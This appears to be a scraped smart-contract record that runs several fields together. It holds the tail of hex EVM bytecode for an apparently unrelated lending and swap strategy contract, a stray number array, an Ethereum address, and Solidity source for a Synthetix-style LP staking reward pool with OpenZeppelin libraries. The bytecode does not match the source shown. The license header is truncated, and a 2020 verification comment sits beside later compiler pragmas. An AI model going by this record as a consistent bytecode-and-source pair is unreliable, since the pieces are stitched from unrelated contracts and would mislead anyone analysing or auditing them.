5b60206040518083038186803b15801561490c57600080fd5b505afa158015614920573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614944919061585a565b905082811015614952578092505b60608684604051602001614967929190615b64565b60408051808303601f19018152600380845260808401909252925060609190816020015b614993615421565b81526020019060019003908161498b5790505090506149b460115486615204565b816000815181106149c157fe5b60200260200101819052506149d58261528e565b816001815181106149e257fe5b6020908102919091010152601154614a04906149ff876002614165565b6152fc565b81600281518110614a1157fe5b6020908102919091010152604080516001808252818301909252606091816020015b614a3b615473565b815260200190600190039081614a33579050509050614a58615337565b81600081518110614a6557fe5b602090810291909101015260405163a67a6a4560e01b81526001600160a01b0386169063a67a6a4590614a9e9084908690600401615ab7565b600060405180830381600087803b158015614ab857600080fd5b505af1158015614acc573d6000803e3d6000fd5b505050507f012a05dea1e4b56be6c250aaa3e6189a1f531f1fd201b35b2a74c56577000bf488878b731e0447b19bb6ecfdae1e4ae1694b0c3659614e4e604051614b199493929190615e65565b60405180910390a15093979650505050505050565b60408051600180825281830190925260609160208083019080368337019050509050600b60019054906101000a90046001600160a01b031681600081518110614b7357fe5b6001600160a01b039092166020928302919091019091015260405162e1ed9760e51b8152733d9819210a31b4961b30ef54be2aed79b9c9cd3b90631c3db2e090614bc39030908590600401615a42565b600060405180830381600087803b158015614bdd57600080fd5b505af1158015611ed0573d6000803e3d6000fd5b6040516370a0823160e01b815260009073c00e94cb662c3520282e6f5717214004a7f26888906370a0823190614c2b903090600401615a14565b60206040518083038186803b158015614c4357600080fd5b505afa158015614c57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614c7b919061585a565b9050600f54811115610dbb576040805160038082526080820190925260609160208201838036833701905050905073c00e94cb662c3520282e6f5717214004a7f2688881600081518110614ccb57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110614d0d57fe5b6001600160a01b039283166020918202929092010152600654825191169082906002908110614d3857fe5b6001600160a01b03909216602092830291909101909101526040516338ed173960e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906338ed173990614d90908590600090869030904290600401615e29565b600060405180830381600087803b158015614daa57600080fd5b505af1158015614dbe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261313a919081019061561b565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061314e575050151592915050565b6000808215614e4157614e3e83610f8b86670de0b6b3a764000061354f565b90505b614e4b85826131f7565b9150838210614e58578391505b858210614e63578591505b6000600b60019054906101000a90046001600160a01b03166001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b158015614eb357600080fd5b505afa158015614ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614eeb919061585a565b905080614f0084670de0b6b3a764000061354f565b10158015614f0e5750600a83115b156142dd57600b5460405163852a12e360e01b815260091994909401936101009091046001600160a01b03169063852a12e390614f4f908690600401615df9565b602060405180830381600087803b158015614f6957600080fd5b505af1158015614f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614fa1919061585a565b50600b5460405163073a938160e11b81526101009091046001600160a01b031690630e75270290614fd6908690600401615df9565b602060405180830381600087803b158015614ff057600080fd5b505af1158015615004573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190615028919061585a565b505050949350505050565b60008061504c670de0b6b3a7640000610f8b878661354f565b905061505881856131f7565b9150858210615065578591505b600a8211156151fb57600b5460405163317afabb60e21b815260091993909301926101009091046001600160a01b03169063c5ebeaec906150aa908590600401615df9565b602060405180830381600087803b1580156150c457600080fd5b505af11580156150d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906150fc919061585a565b50600b546006546040516370a0823160e01b81526001600160a01b0361010090930483169263a0712d689216906370a082319061513d903090600401615a14565b60206040518083038186803b15801561515557600080fd5b505afa158015615169573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061518d919061585a565b6040518263ffffffff1660e01b81526004016151a99190615df9565b602060405180830381600087803b1580156151c357600080fd5b505af11580156151d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906142dd919061585a565b50949350505050565b61520c615421565b604080516101008101825260018152600060208083018290528351608081018552828152929384019291908201905b81526020016000815260200185815250815260200184815260200160008152602001306001600160a01b031681526020016000815260200160405180602001604052806000815250815250905092915050565b615296615421565b6040805161010081018252600881526000602080830182905283516080810185528281529293840192919082019081526020016000815260006020918201819052918352820181905260408201819052306060830152608082015260a001929092525090565b615304615421565b6040805161010081018252600080825260208083018290528351608081018552600181529293840192919082019061523b565b61533f615473565b50604080518082019091523081526001602082015290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106153985782800160ff198235161785556153c5565b828001600101855582156153c5579182015b828111156153c55782358255916020019190600101906153aa565b506153d192915061548a565b5090565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60408051610100810182526000808252602082015290810161544161549f565b8152602001600081526020016000815260200160006001600160a01b0316815260200160008152602001606081525090565b604080518082019091526000808252602082015290565b5b808211156153d1576000815560010161548b565b604080516080810190915260008082526020820190815260200160008152602001600081525090565b6000602082840312156154d9578081fd5b8135611e6e81615f5c565b6000602082840312156154f5578081fd5b8151611e6e81615f5c565b600080600060608486031215615514578182fd5b833561551f81615f5c565b9250602084013561552f81615f5c565b929592945050506040919091013590565b60008060008385036080811215615555578384fd5b843561556081615f5c565b93506020601f1960408382011215615576578485fd5b6155806040615edf565b92508187013561558f81615f5c565b835260408701358284015291935060608601359167ffffffffffffffff808411156155b8578485fd5b838801935088601f8501126155cb578485fd5b8335818111156155d9578586fd5b6155e98484601f84011601615edf565b925080835289848287010111156155fe578586fd5b808486018585013782019092019390935250929591945092509050565b6000602080838503121561562d578182fd5b825167ffffffffffffffff811115615643578283fd5b8301601f81018513615653578283fd5b805161566661566182615f06565b615edf565b8181528381019083850185840285018601891015615682578687fd5b8694505b838510156156a4578051835260019490940193918501918501615686565b50979650505050505050565b6000602082840312156156c1578081fd5b8135611e6e81615f71565b6000602082840312156156dd578081fd5b8151611e6e81615f71565b600080604083850312156156fa578182fd5b825161570581615f71565b6020939093015192949293505050565b600080600060608486031215615729578283fd5b835161573481615f71565b60208501516040860151919450925061574c81615f71565b809150509250925092565b60008060208385031215615769578182fd5b823567ffffffffffffffff80821115615780578384fd5b818501915085601f830112615793578384fd5b8135818111156157a1578485fd5b8660208285010111156157b2578485fd5b60209290920196919550909350505050565b60006101208083850312156157d7578182fd5b6157e081615edf565b9050825181526020830151602082015260408301516040820152606083015160608201526080830151608082015260a083015160a082015260c083015160c082015260e083015160e08201526101008084015181830152508091505092915050565b600060208284031215615853578081fd5b5035919050565b60006020828403121561586b578081fd5b5051919050565b60008060008060808587031215615887578182fd5b505082516020840151604085015160609095015191969095509092509050565b60006101608251600981106158b857fe5b808552506020830151602085015260408301516158d860408601826159a9565b50606083015160c0850152608083015160e085015260a083015161590061010086018261592d565b5060c083015161012085015260e0830151816101408601526159248286018261597d565b95945050505050565b6001600160a01b03169052565b6000815180845260208085019450808401835b838110156159725781516001600160a01b03168752958201959082019060010161594d565b509495945050505050565b60008151808452615995816020860160208601615f26565b601f01601f19169290920160200192915050565b80511515825260208101516159bd81615f52565b602083015260408101516159d081615f52565b6040830152606090810151910152565b80516001600160a01b03168252602090810151910152565b60008251615a0a818460208701615f26565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b038381168252604060208084018290528451918401829052600092858201929091906060860190855b81811015615a90578551851683529483019491830191600101615a72565b509098975050505050505050565b6001600160a01b03929092168252602082015260400190565b60408082528351828201819052600091906020906060850190828801855b82811015615af857615ae88483516159e0565b9285019290840190600101615ad5565b505050848103828601528092508551615b118183615df9565b93508391508281028401838801865b83811015615b4a578483038752615b388383516158a7565b96860196925090850190600101615b20565b50909998505050505050505050565b901515815260200190565b9115158252602082015260400190565b60006020825282602083015282846040840137818301604090810191909152601f909201601f19160101919050565b600060208252611e6e602083018461597d565b6020808252600b908201526a085cdd1c985d1959da5cdd60aa1b604082015260600190565b602080825260059082015264085dd85b9d60da1b604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252600c908201526b216865616c7468636865636b60a01b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b602080825260069082015265085d985d5b1d60d21b604082015260600190565b6020808252600790820152662173686172657360c81b604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252600b908201526a08585d5d1a1bdc9a5e995960aa1b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252600a9082015269085c1c9bdd1958dd195960b21b604082015260600190565b60208082526036908201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60408201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b606082015260800190565b90815260200190565b60008382526040602083015261314e604083018461593a565b918252602082015260400190565b600086825285602083015260a06040830152615e4860a083018661593a565b6001600160a01b0394909416606083015250608001529392505050565b9384526020840192909252151560408301526001600160a01b0316606082015260800190565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b948552602085019390935260408401919091526060830152608082015260a00190565b60405181810167ffffffffffffffff81118282101715615efe57600080fd5b604052919050565b600067ffffffffffffffff821115615f1c578081fd5b5060209081020190565b60005b83811015615f41578181015183820152602001615f29565b8381111561382d5750506000910152565b60028110610dbb57fe5b6001600160a01b0381168114610dbb57600080fd5b8015158114610dbb57600080fdfea264697066735822122048eb394fdc377142328b6b4c804a0f9a44cf912e706b2ec91c7029c359ea30fc64736f6c634300060c0033
[ 4, 7, 9, 12, 5 ]
0xf2e9Eeb38c228c177176F44b0aFF91e4628D9c1B
pragma solidity ^0.6.0; /** *Submitted for verification at Etherscan.io on 2020-07-17 */ /* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: BASISCASHRewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ // File: @openzeppelin/contracts/math/Math.sol import '@openzeppelin/contracts/math/Math.sol'; // File: @openzeppelin/contracts/math/SafeMath.sol import '@openzeppelin/contracts/math/SafeMath.sol'; // File: @openzeppelin/contracts/token/ERC20/IERC20.sol import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; // File: @openzeppelin/contracts/utils/Address.sol import '@openzeppelin/contracts/utils/Address.sol'; // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; // File: contracts/IRewardDistributionRecipient.sol import '../interfaces/IRewardDistributionRecipient.sol'; import '../token/LPTokenWrapper.sol'; contract MAHADAIARTHMLPTokenPool is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public basisShare; uint256 public DURATION = 30 days; uint256 public starttime; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); constructor( address basisShare_, address lptoken_, uint256 starttime_ ) public { basisShare = IERC20(basisShare_); lpt = IERC20(lptoken_); starttime = starttime_; } modifier checkStart() { require( block.timestamp >= starttime, 'MAHADAIARTHMLPTokenPool: not start' ); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public override updateReward(msg.sender) checkStart { require(amount > 0, 'DAIBASLPTokenSharePool: Cannot stake 0'); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override updateReward(msg.sender) checkStart { require(amount > 0, 'DAIBASLPTokenSharePool: Cannot withdraw 0'); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; basisShare.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward) external override onlyOwner updateReward(address(0)) { if (block.timestamp > starttime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); emit RewardAdded(reward); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import '@openzeppelin/contracts/access/Ownable.sol'; abstract contract IRewardDistributionRecipient is Ownable { address public rewardDistribution; function notifyRewardAmount(uint256 reward) external virtual; modifier onlyRewardDistribution() { require( _msgSender() == rewardDistribution, 'Caller is not reward distribution' ); _; } function setRewardDistribution(address _rewardDistribution) external virtual onlyOwner { rewardDistribution = _rewardDistribution; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; abstract contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public lpt; uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public virtual { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); lpt.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public virtual { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); lpt.safeTransfer(msg.sender, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
